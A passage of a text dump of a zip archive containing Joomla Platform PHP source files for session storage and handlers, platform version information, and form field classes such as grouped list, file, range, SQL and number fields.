* @subpackage Session * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Memcached session storage handler for PHP * * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionStorageMemcached extends JSessionStorage { /** * @var array Container for memcache server conf arrays */ private $_servers = array(); /** * Constructor * * @param array $options Optional parameters. * * @since 1.7.0 * @throws RuntimeException */ public function __construct($options = array()) { if (!self::isSupported()) { throw new RuntimeException('Memcached Extension is not available', 404); } $config = JFactory::getConfig(); // This will be an array of loveliness // @todo: multiple servers $this->_servers = array( array( 'host' => $config->get('session_memcached_server_host', 'localhost'), 'port' => $config->get('session_memcached_server_port', 11211), ), ); parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 3.0.1 */ public function register() { if (!empty($this->_servers) && isset($this->_servers[0])) { $serverConf = current($this->_servers); if (!headers_sent()) { $path = $serverConf['host']; if ($serverConf['port'] > 0) { $path .= ':' . $serverConf['port']; } ini_set('session.save_path', $path); ini_set('session.save_handler', 'memcached'); } } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return extension_loaded('memcached') && class_exists('Memcached'); } } PK�\��{� � $joomla/session/handler/interface.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Interface for managing HTTP sessions * * @since 3.5 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ interface JSessionHandlerInterface { /** * Starts the session. * * @return boolean True if started. * * @since 3.5 * @throws RuntimeException If something goes wrong starting the session. */ public function start(); /** * Checks if the session is started. * * @return boolean True if started, false otherwise. * * @since 3.5 */ public function isStarted(); /** * Returns the session ID * * @return string The session ID * * @since 3.5 */ public function getId(); /** * Sets the session ID * * @param string $id The session ID * * @return void * * @since 3.5 */ public function setId($id); /** * Returns the session name * * @return mixed The session name. * * @since 3.5 */ public function getName(); /** * Sets the session name * * @param string $name The name of the session * * @return void * * @since 3.5 */ public function setName($name); /** * Regenerates ID that represents this storage. * * Note regenerate+destroy should not clear the session data in memory only delete the session data from persistent storage. * * @param boolean $destroy Destroy session when regenerating? * @param integer $lifetime Sets the cookie lifetime for the session cookie. A null value will leave the system settings unchanged, * 0 sets the cookie to expire with browser session. Time is in seconds, and is not a Unix timestamp. * * @return boolean True if session regenerated, false if error * * @since 3.5 */ public function regenerate($destroy = false, $lifetime = null); /** * Force the session to be saved and closed. * * This method must invoke session_write_close() unless this interface is used for a storage object design for unit or functional testing where * a real PHP session would interfere with testing, in which case it should actually persist the session data if required. * * @return void * * @see session_write_close() * @since 3.5 * @throws RuntimeException If the session is saved without being started, or if the session is already closed. */ public function save(); /** * Clear all session data in memory. * * @return void * * @since 3.5 */ public function clear(); } PK�\��{� � !joomla/session/handler/joomla.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Interface for managing HTTP sessions * * @since 3.5 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionHandlerJoomla extends JSessionHandlerNative { /** * The input object * * @var JInput * @since 3.5 */ public $input = null; /** * Force cookies to be SSL only * * @var boolean * @since 3.5 */ protected $force_ssl = false; /** * Public constructor * * @param array $options An array of configuration options * * @since 3.5 */ public function __construct($options = array()) { if (!headers_sent()) { // Disable transparent sid support ini_set('session.use_trans_sid', '0'); // Only allow the session ID to come from cookies and nothing else. if ((int) ini_get('session.use_cookies') !== 1) { ini_set('session.use_only_cookies', 1); } } // Set options $this->setOptions($options); $this->setCookieParams(); } /** * Starts the session * * @return boolean True if started * * @since 3.5 * @throws RuntimeException If something goes wrong starting the session. */ public function start() { $session_name = $this->getName(); // Get the JInputCookie object $cookie = $this->input->cookie; if (is_null($cookie->get($session_name))) { $session_clean = $this->input->get($session_name, false, 'string'); if ($session_clean) { $this->setId($session_clean); $cookie->set($session_name, '', 1); } } return parent::start(); } /** * Clear all session data in memory. * * @return void * * @since 3.5 */ public function clear() { $sessionName = $this->getName(); /* * In order to kill the session altogether, such as to log the user out, the session id * must also be unset. If a cookie is used to propagate the session id (default behavior), * then the session cookie must be deleted. * We need to use setcookie here or we will get a warning in some session handlers (ex: files). */ if (isset($_COOKIE[$sessionName])) { $cookie = session_get_cookie_params(); setcookie($sessionName, '', 1, $cookie['path'], $cookie['domain'], $cookie['secure'], true); } parent::clear(); } /** * Set session cookie parameters * * @return void * * @since 3.5 */ protected function setCookieParams() { if (headers_sent()) { return; } $cookie = session_get_cookie_params(); if ($this->force_ssl) { $cookie['secure'] = true; } $config = JFactory::getConfig(); if ($config->get('cookie_domain', '') != '') { $cookie['domain'] = $config->get('cookie_domain'); } if ($config->get('cookie_path', '') != '') { $cookie['path'] = $config->get('cookie_path'); } session_set_cookie_params($cookie['lifetime'], $cookie['path'], $cookie['domain'], $cookie['secure'], true); } /** * Set additional session options * * @param array $options List of parameter * * @return boolean True on success * * @since 3.5 */ protected function setOptions(array $options) { if (isset($options['force_ssl'])) { $this->force_ssl = (bool) $options['force_ssl']; } return true; } } PK�\O\�~~!joomla/session/handler/native.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Interface for managing HTTP sessions * * @since 3.5 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ class JSessionHandlerNative implements JSessionHandlerInterface { /** * Has the session been started * * @var boolean * @since 3.5 */ private $started = false; /** * Has the session been closed * * @var boolean * @since 3.5 */ private $closed = false; /** * Starts the session * * @return boolean True if started * * @since 3.5 */ public function start() { if ($this->isStarted()) { return true; } $this->doSessionStart(); return true; } /** * Checks if the session is started. * * @return boolean True if started, false otherwise. * * @since 3.5 */ public function isStarted() { return $this->started; } /** * Returns the session ID * * @return string The session ID * * @since 3.5 */ public function getId() { return session_id(); } /** * Sets the session ID * * @param string $id The session ID * * @return void * * @since 3.5 * @throws LogicException */ public function setId($id) { if ($this->isStarted()) { throw new LogicException('Cannot change the ID of an active session'); } session_id($id); } /** * Returns the session name * * @return mixed The session name * * @since 3.5 */ public function getName() { return session_name(); } /** * Sets the session name * * @param string $name The name of the session * * @return void * * @since 3.5 * @throws LogicException */ public function setName($name) { if ($this->isStarted()) { throw new LogicException('Cannot change the name of an active session'); } session_name($name); } /** * Regenerates ID that represents this storage. * * Note regenerate+destroy should not clear the session data in memory only delete the session data from persistent storage. * * @param boolean $destroy Destroy session when regenerating? * @param integer $lifetime Sets the cookie lifetime for the session cookie. A null value will leave the system settings unchanged, * 0 sets the cookie to expire with browser session. Time is in seconds, and is not a Unix timestamp. * * @return boolean True if session regenerated, false if error * * @since 3.5 */ public function regenerate($destroy = false, $lifetime = null) { if (!headers_sent() && null !== $lifetime) { ini_set('session.cookie_lifetime', $lifetime); } $return = session_regenerate_id($destroy); // Workaround for https://bugs.php.net/bug.php?id=61470 as suggested by David Grudl session_write_close(); $this->closed = true; if (isset($_SESSION)) { $backup = $_SESSION; $this->doSessionStart(); $_SESSION = $backup; } else { $this->doSessionStart(); } return $return; } /** * Force the session to be saved and closed. * * This method must invoke session_write_close() unless this interface is used for a storage object design for unit or functional testing where * a real PHP session would interfere with testing, in which case it should actually persist the session data if required. * * @return void * * @see session_write_close() * @since 3.5 */ public function save() { // Verify if the session is active if ((version_compare(PHP_VERSION, '5.4', 'ge') && PHP_SESSION_ACTIVE === session_status()) || (version_compare(PHP_VERSION, '5.4', 'lt') && $this->started && isset($_SESSION) && $this->getId())) { $session = JFactory::getSession(); $data = $session->getData(); // Before storing it, let's serialize and encode the Registry object $_SESSION['joomla'] = base64_encode(serialize($data)); session_write_close(); $this->closed = true; $this->started = false; } } /** * Clear all session data in memory. * * @return void * * @since 3.5 */ public function clear() { // Need to destroy any existing sessions started with session.auto_start if ($this->getId()) { session_unset(); session_destroy(); } $this->closed = true; $this->started = false; } /** * Performs the session start mechanism * * @return void * * @since 3.5.1 * @throws RuntimeException If something goes wrong starting the session. */ private function doSessionStart() { // Register our function as shutdown method, so we can manipulate it register_shutdown_function(array($this, 'save')); // Disable the cache limiter session_cache_limiter('none'); /* * Extended checks to determine if the session has already been started */ // If running PHP 5.4, try to use the native API if (version_compare(PHP_VERSION, '5.4', 'ge') && PHP_SESSION_ACTIVE === session_status()) { throw new RuntimeException('Failed to start the session: already started by PHP.'); } // Fallback check for PHP 5.3 if (version_compare(PHP_VERSION, '5.4', 'lt') && !$this->closed && isset($_SESSION) && $this->getId()) { throw new RuntimeException('Failed to start the session: already started by PHP ($_SESSION is set).'); } // If we are using cookies (default true) and headers have already been started (early output), if (ini_get('session.use_cookies') && headers_sent($file, $line)) { throw new RuntimeException(sprintf('Failed to start the session because headers have already been sent by "%s" at line %d.', $file, $line)); } // Ok to try and start the session if (!session_start()) { throw new RuntimeException('Failed to start the session'); } // Mark ourselves as started $this->started = true; } } PK�\��799joomla/session/storage.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Session * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Custom session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.7.0 * @deprecated 4.0 The CMS' Session classes will be replaced with the `joomla/session` package */ abstract class JSessionStorage { /** * @var JSessionStorage[] JSessionStorage instances container. * @since 1.7.3 */ protected static $instances = array(); /** * Constructor * * @param array $options Optional parameters. * * @since 1.7.0 */ public function __construct($options = array()) { $this->register($options); } /** * Returns a session storage handler object, only creating it if it doesn't already exist. * * @param string $name The session store to instantiate * @param array $options Array of options * * @return JSessionStorage * * @since 1.7.0 * @throws JSessionExceptionUnsupported */ public static function getInstance($name = 'none', $options = array()) { $name = strtolower(JFilterInput::getInstance()->clean($name, 'word')); if (empty(self::$instances[$name])) { /** @var JSessionStorage $class */ $class = 'JSessionStorage' . ucfirst($name); if (!class_exists($class)) { $path = __DIR__ . '/storage/' . $name . '.php'; if (!file_exists($path)) { throw new JSessionExceptionUnsupported('Unable to load session storage class: ' . $name); } JLoader::register($class, $path); // The class should now be loaded if (!class_exists($class)) { throw new JSessionExceptionUnsupported('Unable to load session storage class: ' . $name); } } // Validate the session storage is supported on this platform if (!$class::isSupported()) { throw new JSessionExceptionUnsupported(sprintf('The %s Session Storage is not supported on this platform.', $name)); } self::$instances[$name] = new $class($options); } return self::$instances[$name]; } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.7.0 */ public function register() { if (!headers_sent()) { session_set_save_handler( array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'), array($this, 'destroy'), array($this, 'gc') ); } } /** * Open the SessionHandler backend. * * @param string $savePath The path to the session object. * @param string $sessionName The name of the session. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function open($savePath, $sessionName) { return true; } /** * Close the SessionHandler backend. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function close() { return true; } /** * Read the data for a particular session identifier from the * SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.7.0 */ public function read($id) { return; } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function write($id, $sessionData) { return true; } /** * Destroy the data for a particular session identifier in the * SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function destroy($id) { return true; } /** * Garbage collect stale sessions from the SessionHandler backend. * * @param integer $maxlifetime The maximum age of a session. * * @return boolean True on success, false otherwise. * * @since 1.7.0 */ public function gc($maxlifetime = null) { return true; } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return true; } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.7.0 * @deprecated 4.0 - Use JSessionStorage::isSupported() instead. */ public static function test() { JLog::add('JSessionStorage::test() is deprecated. Use JSessionStorage::isSupported() instead.', JLog::WARNING, 'deprecated'); return static::isSupported(); } } PK�\OJ� g g joomla/platform.phpnu�[���<?php /** * @package Joomla.Platform * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Version information class for the Joomla Platform. * * @since 1.7.0 * @deprecated 4.0 Deprecated without replacement */ final class JPlatform { // Product name. const PRODUCT = 'Joomla Platform'; // Release version. const RELEASE = '13.1'; // Maintenance version. const MAINTENANCE = '0'; // Development STATUS. const STATUS = 'Stable'; // Build number. const BUILD = 0; // Code name. const CODE_NAME = 'Curiosity'; // Release date. const RELEASE_DATE = '24-Apr-2013'; // Release time. const RELEASE_TIME = '00:00'; // Release timezone. const RELEASE_TIME_ZONE = 'GMT'; // Copyright Notice. const COPYRIGHT = '(C) 2011 Open Source Matters, Inc. <https://www.joomla.org>'; // Link text. const LINK_TEXT = '<a href="https://www.joomla.org">Joomla!</a> is Free Software released under the GNU General Public License.'; /** * Compares two a "PHP standardized" version number against the current Joomla Platform version. * * @param string $minimum The minimum version of the Joomla Platform which is compatible. * * @return boolean True if the version is compatible. * * @link https://www.php.net/version_compare * @since 1.7.0 * @deprecated 4.0 Deprecated without replacement */ public static function isCompatible($minimum) { return version_compare(self::getShortVersion(), $minimum, 'eq') == 1; } /** * Gets a "PHP standardized" version string for the current Joomla Platform. * * @return string Version string. * * @since 1.7.0 * @deprecated 4.0 Deprecated without replacement */ public static function getShortVersion() { return self::RELEASE . '.' . self::MAINTENANCE; } /** * Gets a version string for the current Joomla Platform with all release information. * * @return string Complete version string. * * @since 1.7.0 * @deprecated 4.0 Deprecated without replacement */ public static function getLongVersion() { return self::PRODUCT . ' ' . self::RELEASE . '.' . self::MAINTENANCE . ' ' . self::STATUS . ' [ ' . self::CODE_NAME . ' ] ' . self::RELEASE_DATE . ' ' . self::RELEASE_TIME . ' ' . self::RELEASE_TIME_ZONE; } } PK�\ռ2�rr"joomla/form/fields/groupedlist.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Provides a grouped list select field. * * @since 1.7.0 */ class JFormFieldGroupedList extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'GroupedList'; /** * Method to get the field option groups. * * @return array The field option objects as a nested array in groups. * * @since 1.7.0 * @throws UnexpectedValueException */ protected function getGroups() { $groups = array(); $label = 0; foreach ($this->element->children() as $element) { switch ($element->getName()) { // The element is an <option /> case 'option': // Initialize the group if necessary. if (!isset($groups[$label])) { $groups[$label] = array(); } $disabled = (string) $element['disabled']; $disabled = ($disabled == 'true' || $disabled == 'disabled' || $disabled == '1'); // Create a new option object based on the <option /> element. $tmp = JHtml::_( 'select.option', ($element['value']) ? (string) $element['value'] : trim((string) $element), JText::alt(trim((string) $element), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text', $disabled ); // Set some option attributes. $tmp->class = (string) $element['class']; // Set some JavaScript option attributes. $tmp->onclick = (string) $element['onclick']; // Add the option. $groups[$label][] = $tmp; break; // The element is a <group /> case 'group': // Get the group label. if ($groupLabel = (string) $element['label']) { $label = JText::_($groupLabel); } // Initialize the group if necessary. if (!isset($groups[$label])) { $groups[$label] = array(); } // Iterate through the children and build an array of options. foreach ($element->children() as $option) { // Only add <option /> elements. if ($option->getName() != 'option') { continue; } $disabled = (string) $option['disabled']; $disabled = ($disabled == 'true' || $disabled == 'disabled' || $disabled == '1'); // Create a new option object based on the <option /> element. $tmp = JHtml::_( 'select.option', ($option['value']) ? (string) $option['value'] : JText::_(trim((string) $option)), JText::_(trim((string) $option)), 'value', 'text', $disabled ); // Set some option attributes. $tmp->class = (string) $option['class']; // Set some JavaScript option attributes. $tmp->onclick = (string) $option['onclick']; // Add the option. $groups[$label][] = $tmp; } if ($groupLabel) { $label = count($groups); } break; // Unknown element type. default: throw new UnexpectedValueException(sprintf('Unsupported element %s in JFormFieldGroupedList', $element->getName()), 500); } } reset($groups); return $groups; } /** * Method to get the field input markup fora grouped list. * Multiselect is enabled by using the multiple attribute. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { $html = array(); $attr = ''; // Initialize some field attributes. $attr .= !empty($this->class) ? ' class="' . $this->class . '"' : ''; $attr .= !empty($this->size) ? ' size="' . $this->size . '"' : ''; $attr .= $this->multiple ? ' multiple' : ''; $attr .= $this->required ? ' required aria-required="true"' : ''; $attr .= $this->autofocus ? ' autofocus' : ''; // To avoid user's confusion, readonly="true" should imply disabled="true". if ($this->readonly || $this->disabled) { $attr .= ' disabled="disabled"'; } // Initialize JavaScript field attributes. $attr .= !empty($this->onchange) ? ' onchange="' . $this->onchange . '"' : ''; // Get the field groups. $groups = (array) $this->getGroups(); // Create a read-only list (no name) with a hidden input to store the value. if ($this->readonly) { $html[] = JHtml::_( 'select.groupedlist', $groups, null, array( 'list.attr' => $attr, 'id' => $this->id, 'list.select' => $this->value, 'group.items' => null, 'option.key.toHtml' => false, 'option.text.toHtml' => false, ) ); // E.g. form field type tag sends $this->value as array if ($this->multiple && is_array($this->value)) { if (!count($this->value)) { $this->value[] = ''; } foreach ($this->value as $value) { $html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else { $html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"/>'; } } // Create a regular list. else { $html[] = JHtml::_( 'select.groupedlist', $groups, $this->name, array( 'list.attr' => $attr, 'id' => $this->id, 'list.select' => $this->value, 'group.items' => null, 'option.key.toHtml' => false, 'option.text.toHtml' => false, ) ); } return implode($html); } } PK�\�.�O O joomla/form/fields/file.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Provides an input field for files * * @link http://www.w3.org/TR/html-markup/input.file.html#input.file * @since 1.7.0 */ class JFormFieldFile extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'File'; /** * The accepted file type list. * * @var mixed * @since 3.2 */ protected $accept; /** * Name of the layout being used to render the field * * @var string * @since 3.6 */ protected $layout = 'joomla.form.field.file'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'accept': return $this->accept; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'accept': $this->accept = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->accept = (string) $this->element['accept']; } return $return; } /** * Method to get the field input markup for the file field. * Field attributes allow specification of a maximum file size and a string * of accepted file extensions. * * @return string The field input markup. * * @note The field does not include an upload mechanism. * @see JFormFieldMedia * @since 1.7.0 */ protected function getInput() { return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.6 */ protected function getLayoutData() { $data = parent::getLayoutData(); $extraData = array( 'accept' => $this->accept, 'multiple' => $this->multiple, ); return array_merge($data, $extraData); } } PK�\Fs/v��joomla/form/fields/range.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('number'); /** * Form Field class for the Joomla Platform. * Provides a horizontal scroll bar to specify a value in a range. * * @link http://www.w3.org/TR/html-markup/input.text.html#input.text * @since 3.2 */ class JFormFieldRange extends JFormFieldNumber { /** * The form field type. * * @var string * @since 3.2 */ protected $type = 'Range'; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.range'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.2 */ protected function getInput() { return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $extraData = array( 'max' => $this->max, 'min' => $this->min, 'step' => $this->step, ); return array_merge($data, $extraData); } } PK�\���Swwjoomla/form/fields/sql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Supports a custom SQL select list * * @since 1.7.0 */ class JFormFieldSQL extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ public $type = 'SQL'; /** * The keyField. * * @var string * @since 3.2 */ protected $keyField; /** * The valueField. * * @var string * @since 3.2 */ protected $valueField; /** * The translate. * * @var boolean * @since 3.2 */ protected $translate = false; /** * The query. * * @var string * @since 3.2 */ protected $query; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'keyField': case 'valueField': case 'translate': case 'query': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'keyField': case 'valueField': case 'translate': case 'query': $this->$name = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { // Check if its using the old way $this->query = (string) $this->element['query']; if (empty($this->query)) { // Get the query from the form $query = array(); $defaults = array(); $sql_select = (string) $this->element['sql_select']; $sql_from = (string) $this->element['sql_from']; if ($sql_select && $sql_from) { $query['select'] = $sql_select; $query['from'] = $sql_from; $query['join'] = (string) $this->element['sql_join']; $query['where'] = (string) $this->element['sql_where']; $query['group'] = (string) $this->element['sql_group']; $query['order'] = (string) $this->element['sql_order']; // Get the filters $filters = isset($this->element['sql_filter']) ? explode(',', $this->element['sql_filter']) : ''; // Get the default value for query if empty if (is_array($filters)) { foreach ($filters as $filter) { $name = "sql_default_{$filter}"; $attrib = (string) $this->element[$name]; if (!empty($attrib)) { $defaults[$filter] = $attrib; } } } // Process the query $this->query = $this->processQuery($query, $filters, $defaults); } } $this->keyField = (string) $this->element['key_field'] ?: 'value'; $this->valueField = (string) $this->element['value_field'] ?: (string) $this->element['name']; $this->translate = (string) $this->element['translate'] ?: false; $this->header = (string) $this->element['header'] ?: false; } return $return; } /** * Method to process the query from form. * * @param array $conditions The conditions from the form. * @param string $filters The columns to filter. * @param array $defaults The defaults value to set if condition is empty. * * @return JDatabaseQuery The query object. * * @since 3.5 */ protected function processQuery($conditions, $filters, $defaults) { // Get the database object. $db = JFactory::getDbo(); // Get the query object $query = $db->getQuery(true); // Select fields $query->select($conditions['select']); // From selected table $query->from($conditions['from']); // Join over the groups if (!empty($conditions['join'])) { $query->join('LEFT', $conditions['join']); } // Where condition if (!empty($conditions['where'])) { $query->where($conditions['where']); } // Group by if (!empty($conditions['group'])) { $query->group($conditions['group']); } // Process the filters if (is_array($filters)) { $html_filters = JFactory::getApplication()->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'); foreach ($filters as $k => $value) { if (!empty($html_filters[$value])) { $escape = $db->quote($db->escape($html_filters[$value]), false); $query->where("{$value} = {$escape}"); } elseif (!empty($defaults[$value])) { $escape = $db->quote($db->escape($defaults[$value]), false); $query->where("{$value} = {$escape}"); } } } // Add order to query if (!empty($conditions['order'])) { $query->order($conditions['order']); } return $query; } /** * Method to get the custom field options. * Use the query attribute to supply a query to generate the list. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { $options = array(); // Initialize some field attributes. $key = $this->keyField; $value = $this->valueField; $header = $this->header; if ($this->query) { // Get the database object. $db = JFactory::getDbo(); // Set the query and get the result list. $db->setQuery($this->query); try { $items = $db->loadObjectlist(); } catch (JDatabaseExceptionExecuting $e) { JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error'); } } // Add header. if (!empty($header)) { $header_title = JText::_($header); $options[] = JHtml::_('select.option', '', $header_title); } // Build the field options. if (!empty($items)) { foreach ($items as $item) { if ($this->translate == true) { $options[] = JHtml::_('select.option', $item->$key, JText::_($item->$value)); } else { $options[] = JHtml::_('select.option', $item->$key, $item->$value); } } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK�\c�s�&&joomla/form/fields/number.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Provides a one line text box with up-down handles to set a number in the field. * * @link http://www.w3.org/TR/html-markup/input.text.html#input.text * @since 3.2 */ class JFormFieldNumber extends JFormField { /** * The form field type. * * @var string * @since 3.2 */ protected $type = 'Number'; /** * The allowable maximum value of the field. * * @var float * @since 3.2 */ protected $max = null; /** * The allowable minimum value of the field. * * @var float * @since 3.2 */ protected $min = null; /** * The step by which value of the field increased or decreased. * * @var float * @since 3.2 */ protected $step = 0; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.number'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'max': case 'min': case 'step': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'step': case 'min': case 'max': $this->$name = (float) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { // It is better not to force any default limits if none is specified $this->max = isset($this->element['max']) ? (float) $this->element['max'] : null; $this->min = isset($this->element['min']) ? (float) $this->element['min'] : null; $this->step = isset($this->element['step']) ? (float) $this->element['step'] : 1; } return $return; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.2 */ protected function getInput() { if ($this->element['useglobal']) { $component = JFactory::getApplication()->input->getCmd('option'); // Get correct component for menu items if ($component == 'com_menus') { $link = $this->form->getData()->get('link'); $uri = new JUri($link); $component = $uri->getVar('option', 'com_menus'); } $params = JComponentHelper::getParams($component); $value = $params->get($this->fieldname); // Try with global configuration if (is_null($value)) { $value = JFactory::getConfig()->get($this->fieldname); } // Try with menu configuration if (is_null($value) && JFactory::getApplication()->input->getCmd('option') == 'com_menus') { $value = JComponentHelper::getParams('com_menus')->get($this->fieldname); } if (!is_null($value)) { $value = (string) $value; $this->hint = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE', $value); } } // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $extraData = array( 'max' => $this->max, 'min' => $this->min, 'step' => $this->step, 'value' => $this->value, ); return array_merge($data, $extraData); } } PK�\;֤��joomla/form/fields/integer.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Provides a select list of integers with specified first, last and step values. * * @since 1.7.0 */ class JFormFieldInteger extends JFormFieldList { 